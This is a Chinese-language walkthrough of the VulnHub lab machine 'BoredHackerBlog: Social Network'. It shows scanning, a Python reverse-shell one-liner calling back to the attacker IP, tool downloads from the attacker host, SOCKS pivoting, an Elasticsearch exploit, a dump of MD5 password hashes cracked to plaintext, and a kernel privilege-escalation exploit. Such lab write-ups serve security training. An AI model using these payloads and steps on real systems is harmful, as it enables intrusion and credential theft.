1、靶机信息
靶机名称:BOREDHACKERBLOG: SOCIAL NETWORK
靶机难度:中等
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:获取到root 权限
靶机地址:BoredHackerBlog: Social Network ~ VulnHub
kali服务器IP |
192.168.2.151 |
靶机IP |
192.168.2.152 |
2、主机发现
2.1 通过使用arp协议对同一网段的靶机进行主机发现,扫描出192.168.2.152为我们目标靶机
arp-scan -l
3、端口扫描
3.1 通过使用nmap工具对全端口进行发现,再进行版本扫描,我们发现开放22,5000两个端口
nmap -p- 192.168.2.152
nmap -sV -p 22,5000 192.168.2.152
4、Web信息收集
4.1 对5000端口Web服务进行访问,发现站点并不存在漏洞
4.2 按照惯例,我们使用dirsearch对其进行路径发现,找到一个admin
目录
dirsearch -u http://192.168.2.152 -e *
4.3 页面提示我们什么都没运行,像exec()中输入一些代码
5、Python反弹shell
5.1 我们首先尝试进行反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.151",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
5.2 发现直接拿到了root权限,但是此靶机介绍是一个中等难度,并且使用了Docker容器,我怀疑我们身处容器中
5.3 对环境进行验证,果不其然,我们拿到的是一个docker服务的root权限
5.4 使用ip add命令进一步验证了我们的猜想,地址为172.17.0.2,与我们访问的Web站点地址不同
5.5 我们在kali上搭建一个http服务,在docker上使用wget命令下载kali上的nmap服务
Kali:python3 -m http.server 80
靶机:wget http://192.168.2.151/nmap
nmap项目地址:static-binaries/nmap at master · andrew-d/static-binaries · GitHub
5.6 使用nmap对本地主机进行发现,找到其余两个存活容器
6、socks5流量代理
6.1 在确认了靶机初步环境后,我们需要使用socks代理,将kali上的流量路由到容器中,方便我们使用kali上的工具,在这里我们使用Venom
工具,同样的,我们搭建一个http服务,方便容器下载工具
Venom项目地址:Release Venom v1.1.0 · Dliv3/Venom · GitHub
6.2 在docker上使用wget下载节点程序
6.3 在kali上我们运行控制端,运行admin节点,并设置监听端口9999
6.4 在docker上运行agent节点,并设置远端主机IP及端口
6.5 成功发起连接,我们启用socks代理,建立一个到docker节点的隧道
6.6 修改proxychains配置文件
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
6.7 使用nmap对我们发现的容器地址进行扫描,在0.1容器上发现22,5000端口,与我们3.1完全一致,这是个宿主机
proxychains nmap -sT -Pn 172.17.0.1
proxychains nmap -p 22,5000 -sV -sT -Pn 172.17.0.1
6.8 对0.3容器进行扫描,发现开放9200端口,服务为Elasticsearch
,至此我们了解到,宿主机共存在两台容器,IP为172.17.0.2、172.17.0.3,0.2上面的5000端口映射到宿主机的5000端口,0.3并未进行映射。
proxychains nmap -sT -Pn 172.17.0.3
proxychains nmap -p 9200 -sV -sT -Pn 172.17.0.3
6.9 对Elasticsearch进行exp检索
searchsploit Elasticsearch
6.10 使用exp直接拿到0.3的root权限
proxychains python2 36337.py 172.17.0.3
6.11 在其根目录/下,我们发现一个passwords
的文件,内容如下:
john:3f8184a7343664553fcb5337a3138814
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b
6.12 我们使用工具对MD5进行解密
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
7、本地提权
7.1 在尝试了所有的用户角色后,只有john
用户可以进行登录,可以看到john是一个普通用户,且没有sudo权限
7.2 接下来我们尝试提权,首先查看内核版本为3.13
7.3 在kali上使用searchsploit进行检索,查看其内核可利用的exp
searchsploit linux 3.13
7.4 我们将c语言源码文件放到home目录下,方便我们调试
7.5 我们在目标靶机上尝试进行gcc编译,结果发现机器并没有安装
7.6 我们通过查看源代码,发现就算在kali本地编译成功,代码运行过程中还需要调用本地gcc环境,使用ofs-lib.c
源码,对其编译执行生成ofs-lib.so
的库文件,在这里我们直接修改代码,不让其继续编译,而是直接调用ofs-lib.so
文件,我们把ofs-lib.so
文件提前准备好
7.7我们对源代码进行修改,删除139-147行,对gcc编码及判断代码进行删除
7.8 对源码进行编译,生成exp文件
7.9 将ofs-lib.so库文件拷贝到home目录下
7.10 将文件传输到目标靶机,并赋予执行权限,执行程序,我们发现用户角色变成了root